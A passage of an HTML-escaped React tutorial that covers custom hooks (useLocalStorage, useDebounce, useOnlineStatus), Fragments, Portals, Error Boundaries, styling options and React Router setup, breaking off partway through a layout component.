    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;saved&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;saved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;initial&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setValue&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useDebounce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;debounced&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setDebounced&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setDebounced&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;debounced&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;debouncedSearch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useDebounce&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Good candidates:&lt;/strong&gt; &lt;code&gt;useDebounce&lt;/code&gt;, &lt;code&gt;useLocalStorage&lt;/code&gt;, &lt;code&gt;useMediaQuery&lt;/code&gt;, &lt;code&gt;useOnClickOutside&lt;/code&gt;, &lt;code&gt;useFetch&lt;/code&gt; (or just use TanStack Query).&lt;/p&gt;

&lt;p&gt;For browser-store subscriptions (online status, window size), use &lt;code&gt;useSyncExternalStore&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;useOnlineStatus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;useSyncExternalStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;callback&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;offline&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;offline&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onLine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="c1"&gt;// server snapshot&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  19. Portals, Fragments, Error Boundaries
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Fragments
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Main&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// when you need a key (in lists), import it&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Fragment&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Fragment&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Portals
&lt;/h3&gt;

&lt;p&gt;Render children into a different DOM node. Used for modals, tooltips, dropdowns that must escape &lt;code&gt;overflow: hidden&lt;/code&gt; or z-index traps.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createPortal&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-dom&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Modal&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;createPortal&lt;/span&gt;&lt;span class="p"&gt;(&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"modal"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;,&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Events still bubble through the &lt;strong&gt;React tree&lt;/strong&gt;, not the DOM tree.&lt;/p&gt;

&lt;h3&gt;
  
  
  Error Boundaries
&lt;/h3&gt;

&lt;p&gt;Catch errors thrown while rendering children and show a fallback. They still must be &lt;strong&gt;class components&lt;/strong&gt; (or use the &lt;code&gt;react-error-boundary&lt;/code&gt; library).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ErrorBoundary&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;getDerivedStateFromError&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hasError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;componentDidCatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;logError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;componentStack&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hasError&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fallback&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorBoundary&lt;/span&gt; &lt;span class="na"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Something broke.&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Widget&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;ErrorBoundary&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Error boundaries do &lt;strong&gt;not&lt;/strong&gt; catch errors in event handlers, async code, or the server. Use &lt;code&gt;try/catch&lt;/code&gt; there.&lt;/p&gt;




&lt;h2&gt;
  
  
  20. Styling
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plain CSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;import './App.css'&lt;/code&gt;. Global, class names can collide.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CSS Modules&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;import s from './Btn.module.css'&lt;/code&gt;, then &lt;code&gt;className={s.primary}&lt;/code&gt;. Scoped automatically.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tailwind CSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Utility classes in JSX. Very popular, great speed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline style&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;style={{ color: 'red' }}&lt;/code&gt;. Good for dynamic values only. No pseudo-classes or media queries.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;CSS-in-JS&lt;/strong&gt; (styled-components, Emotion)&lt;/td&gt;
&lt;td&gt;Still used, but runtime CSS-in-JS has trade-offs with Server Components.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Component libraries&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;shadcn/ui, MUI, Chakra, Mantine, Radix&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Conditional classes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`btn &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;active&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;btn-active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// or with the clsx package&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;clsx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;btn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;btn-active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;active&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  21. Routing
&lt;/h2&gt;

&lt;p&gt;React itself has no router. The common choice is &lt;strong&gt;React Router&lt;/strong&gt; (v7). Next.js has its own file-based routing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createBrowserRouter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Link&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;NavLink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Outlet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useParams&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useNavigate&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-router&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;RouterProvider&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-router/dom&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createBrowserRouter&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;element&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Layout&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;,&lt;/span&gt;          &lt;span class="c1"&gt;// renders &amp;lt;Outlet /&amp;gt; for children&lt;/span&gt;
    &lt;span class="na"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;element&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Home&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;products/:id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;element&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Product&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;element&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;NotFound&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="nf"&gt;createRoot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;RouterProvider&lt;/span&gt; &lt;span class="na"&gt;router&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Layout&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
